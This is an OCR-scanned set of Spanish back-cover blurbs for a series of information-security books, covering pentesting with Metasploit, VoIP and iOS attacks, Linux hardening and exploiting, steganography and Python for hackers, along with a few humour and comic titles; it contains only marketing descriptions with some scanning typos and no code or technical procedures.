el uso de auditorias que proporcionen un status de seguridad a
nivel organizativo. El pentesting forma parte de las auditorias
de seguridad y proporciona un conjunto de pruebas que valoren
el estado de la seguridad de la organizacion en ciertas fases.
Metasploit es una de las herramientas més utilizadas en procesos
de pentesting ya que contempla distintas fases de un test de
intrusién. Con el presente libro se pretende obtener una vision
global de las fases en las que Metasploit puede ofrecer su potencia
y flexibilidad al servicio del hacking ético.
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Microhistorias:
anécdotas y curiosidades
de la Informatica

Rafael Trancoso
Francisco José Raminez

Hacking y Seguridad
VoIP

i Sabias que Steve Jobs le llevo en persona un ordenador Macintosh
a Yoko Ono y también a Mick Jagger? ;Y que Jay Miner, el genio
que cred el Amiga /1000 tenia una perrita que tomaba parte en
algunas de las decisiones de disefio de este ordenador? ;O que
Xenix fue el sistema UN/X mas usado en los 80s en ordenadores y
que era propiedad de Miciosoft?

Estas son solo algunas de las historias y anécdotas que encontraras
en este libro de Microhistorias. Una parte importante de las cuales
tienen como protagonista a los miembros de Microsoft y de Apple.
Historias de hackers, phreakers, programadores y disefiadores
cuya constancia y sabiduria nos sirven de inspiracion y de ejemplo
para nuestros proyectos de hoy en dia.

Angel Rios, auditor de una empresa puntera en el sector de
la seguridad informatica se prepara para acudir a una cita con
Yolanda, antigua compafiera de clase de la que siempre ha estado
enamorado. Sin embargo, ella no estd interesada en iniciar una
relacion; solo quiere que le ayude a descifrar un misterioso
archivo. Angel se ve envuelto en una intriga que complicard su
vida y lo expondré a un grave peligro. Unicamente contara con sus
conocimientos de sucking vy el apoyo de su amigo Marcos.

Mezcla de novela negra y manual técnico, este libro aspira
a enfretener e informar a partes iguales sobre un mundo tan
apasionante como es el de la seguridad informatica. Técnicas de
hacking web, sistemas y andlisis forense, son algunos de los temas

que se tratan con total rigor y excelentemente documentados.

La evolucion de FOIP ha sido considerable, siendo hoy dia
una alternativa muy utilizada como solucion tnica de telefonia
en muchisimas empresas. Gracias a la expansion de Internet y
a las redes de alta velocidad, llegara un momento en el que las
lineas telefénicas convencionales sean totalmente sustituidas por
sistemas de VO/IP, dado el ahorro econémico no solo en llamadas
sino también en infraestructura.

El gran problema es la falta de concienciacién en seguridad. Las
empresas aprenden de los errores a base de pagar elevadas facturas
y a causa de suftrir intrusiones en sus sistemas.

Este libro muestra como hacer un test de penetracién en un sistema
de VOIP asi como las herramientas mds utilizadas para atacarlo,
repasando ademas los fallos de configuracidén mas comunes.
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Wardog y el mundo

Miguel Angel Marine

Desarrollo de aplicaciones

Android seguras

Cifrado de las comunicaciones digitales
De la cifra clasica al algoritmo RSA

Hunas Huns

,Has pensado alguna vez por qué cofio el informético tiene siempre
esa cara de oreo? ;Por qué siempre estd enfadado? ¢ Por qué no se
relaciona con la gente de la oficina?

Yo te lo digo: por tu culpa. Por vuestra culpa. Por las burradas
que hacéis. Porque no os podéis estar quietecitos, no... Porque os
creéis que el informatico tiene la solucién para todo.

Pasa, pasa, y entérate de qué pasa por la cabeza de Wardog, un
administrador de sistemas renegado, con afdn de venganza, con
maldad y con mala hostia.

Wardog v el mundo es el producto de afios de exposicion a lusers
dotados de estupidez toxica, de mala baba destilada y acidez de
estomago. Y café en cantidades malsanas.

Actualmente, el mundo de las aplicaciones méviles es uno de los
sectores que mds dinero mueve en el mercado de la informatica.
Tener conocimientos de programacion en estas plataformas
moviles es una garantia para poder encontrar empleo a dia de hoy.
“Desarrollo de aplicaciones Android seguras™ pretende inculcar
al lector una base sélida de conocimientos sobre programacion
en la plataforma mévil con mayor cuota de mercado del mundo:
Android. Mediante un enfoque eminentemente practico, el libro
guiara al lector en el desarrollo de las funcionalidades mas
demandadas a la hora de desarrollar una aplicacion movil. Ademds
se pretende educar al programador e introducirle en la utilizacion
de técnicas de disefio que modelen aplicaciones seguras, en la parte
de almacenamiento de datos y en la parte de comunicaciones.

Este libro se dedica especialmente a dos paradigmas de la
criptografia: la cldsica y RSA. Ambos los trata a fondo con el
animo de convertirse en uno de los documentos mas completos en
esta tematica. Para conseguir este trabajo el texto presentado toma
como referencia trabajo previo de los autores, complementandolo
y orientandolo para hacer su lectura més asequible.

El técnico o experto en seguridad tendrd especial interés por el
sistema RSA, aunque le venga muy bien recordar sus inicios en
la criptografia como texto de amena lectura y, por su parte, el
lector no experto en estos temas criptolégicos pero si interesado,
seguramente le atraiga inicialmente la criptografia cldsica por su
sencillez y sentido historico.
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Hardening de servidores GNU/Linux

Linux Exploiting

Técnicas de axpl

Este libro trata sobre la securizacién de entornos Limyx siguiendo
el modelo de Defensa en Profundidad, Es decir, diferenciando la
infraestructura en diferentes capas que deberan ser configuradas
de forma adecuada, teniendo como principal objetivo la
seguridad global que proporcionaran. Durante el transcurso de
esta lectura se ofrecen bases tedricas, ejemplos de configuracién
y funcignamiento, ademés de buenas practicas para tratar de
mantener un entorno lo mas seguro posible. Sin duda, los entornos
basados en Linux ofrecen una gran flexibilidad y opciones, por lo
que sc ha optado por trabajar con las tecnologias mas comunes y
utilizadas. En definitiva. este libro se recomienda a todos aquellos
que deseen reforzar conceptos, asi como para los que necesiten una
base desde la que partir a la hora de securizar un entorno Linux.

A dia de hoy se han vendido més de 500 millones de dispositivos
iOS y aunque la seguridad del sistema ha mejorado con cada
version todavia se pueden encontrar vulnerabilidades a explotar.
Las auditorfas de seguridad en empresas cada vez se encuentran con
mds dispositivos /0S8 entre sus objetivos, ya que los empleados los
utilizan en sus puestos de trabajo, lo que hace que haya que pensar
en ellos como posibles riesgos de seguridad. En este libro se han

Juntado un nutrido grupo de expertos en seguridad en la materia

para recopilar en un texto, todas las formas de atacar un terminal
iPhone o iPad de un usuario detereminado. Tras leer este libro, si
un determinado usuario tiene un iPhonre o un iPad, seguro que al
lector se le ocurren muchas formas de conseguir la informacion
que en ¢l se guarde o de controlar lo que con €l se hace.

El exploiting es el arte de convertir una vulnerabilidad o brecha
de seguridad en una entrada real hacia un sistema ajeno. Cuando
cientos de noticias en la red hablan sobre “una posible ¢jecucion
de codigo arbitrario”, el exploiter es aquella persona capaz de
desarrollar rodos los detalles téenicos y complejos elementos
que hacen realidad dicha afirmacién. El objetivo es provocar,
a través de un fallo de programacion, que una aplicacion haga
cosas para las que inicialmente no estaba disefada, pudiendo
tomar asi posterior control sobre un sistema. Desde la perspectiva
de un hacker ético, este libro le brinda todas las habilidades
necesarias para adentrarse en el mundo del exploiting y hacking
de aplicaciones en el sistema operativo Limux. Conviértase en un
ninja de la seguridad, aprenda el Kung Fu de los hackers.
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La herramienta FOCA es una utilidad pensada por pentesters que hacen
pentesting. Esto hace que la herramienta esté llena de opciones que te
serdn de extremada utilidad si vas a necesitar hacer una auditoria de
seguridad a un sitio web o a la red de una empresa. FOCA estd basada en
la recoleecién de informacion de fuentes abiertas OSINT, y en esta Gltima
version se ponen a disposicién piliblica todos los plugins y funciones que
tenia la version PRO.

Ademds, en esta version, es posible ampliar la funcionalidad de la
herrmienta y extender las habilidades de FOCA mediante la creacion de
plugins personalizados.

Las técnicas csteganograficas se inventaron hace miles de afios, en la
antigua China ya se empleaban para enviar mensajes ocultos entre
personas, Posteriormente, ya en la era de la Guerra Fria, vinieron los
micropuntos.

Las técnicas han ido evolucionando hasta llegar a nuestres dias. en los
que la tecnologia digital ha hecho cambiar radicalmente todas estas
téenicas y utilizar los contenidos digitales para ocultar los mensajes.
La primera ocultacién se basé en el cambio del ultimo bit, pero
rapidamente se desarrollaron técnicas novedosas que descubrian este
tipo de comunicacion, lo que las inutilizé. Lo que provocd dedicar
mas esfuerzos a desarrollar métodos que utilizaran operaciones y
transformadas matematicas sobre los contenidos digitales que se utilizan
como cobertura de los mensajes

El mundo digital y el mundo fisico estdn mas unidos cada dia.
Las organizaciones realizan mas gestiones de manera electronica
v cada dia mas amenazas ponen en peligro los activos de éstas. El
mundo esta interconectado, y por esta razén disciplinas como el
hacking ético se hacen cada vez mds necesarias para comprobar
que la seguridad de los activos de una organizacion es la apropiada.

El hacking ético es el arte que permite llevar a cabo acciones
maliciosas envueltas en la ética profesional de un hacker que ha
sido contratado con el fin de encontrar los agujeros de seguridad
de los sistemas de una organizacion, En el presente libro puedes
encontrar procedimientos, procesos, vectores de ataque, técnicas
de hacking, teoria y practica de este arte.
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En este libro no solamente vas a encontrar contenido relacionado
con las librerfas y herramientas disponibles en Python para
ejecutaractividades de pentesting, sino que también se habla sobre
conceptos y técnicas de hacking en entornos de red, elevacion
de privilegios en sistemas Windows y Linux, herramientas
para analisis forense, técnicas para recoleccién de informacién,
técnicas y herramientas para la evasion de antivirus e incluso,
uso y configuracion avanzada de redes andnimas tales como
I2P y TOR. Es un libro escrito especialmente para profesionales
y entusiastas de la seguridad informitica que se sienten a gusto
programando y afinando sus conocimientos. Es una guia para
personas que les gusta saber cémo funcionan las cosas y que se
encuentran en un proceso continuo de aprendizaje.

Python es un lenguaje de programaciéon muy popular entre
pentesters y entusiastas de la seguridad informatica, pero también
enire ciberdelincuentes que pretenden detectar y explotar
vulnerabilidades durante todo el tiempo que sea posible. En
este documento encontraras una guia para estudiar algunas de
las tecnicas utilizadas por los atacantes en Internet para explotar
vulnerabilidades y cubrir sus rastros. El enfoque de este libro
es completamente fecnico y los conceptos teoricos se apoyan
con pruebas de concepto utilizando Python, Los conocimientos
neeesarios para comprometer un sistema son cada vez mayores
y aprender sobre seguridad informatica es un reto que muchos
ciberdelincuentes estan afrontando en su dia a dia.

No, esto ne es un libro de hacking pero si es un comic basado
en el libro de Hacker Epico donde podrds vivir una aventura
inolvidable. Sujetos investigados: Angel Rios, auditor seguridad
informatica. y Marcos, complice y amigo. Hechos: Tratamiento
e investigacion desautorizada de archivos de caracter altamente
confidencial. Declaraciones: Durante el pasado fin de semana, a
punto de terminar un proyecto muy importante, tuve una cita con
Yolanda, antigua compafiera de clase; me ha pedido que descifre
un misterioso archivo, ella me gusta, no supe decirle que no. Ahora
no sé qué estd pasando, desde que descifté el archivo nuestras
vidas estan en peligro, debe de haber una trama encubierta de
mentiras detras de todo esto y solo dependo de mis conocimientos
de hacking para hacer piiblica la verdad.




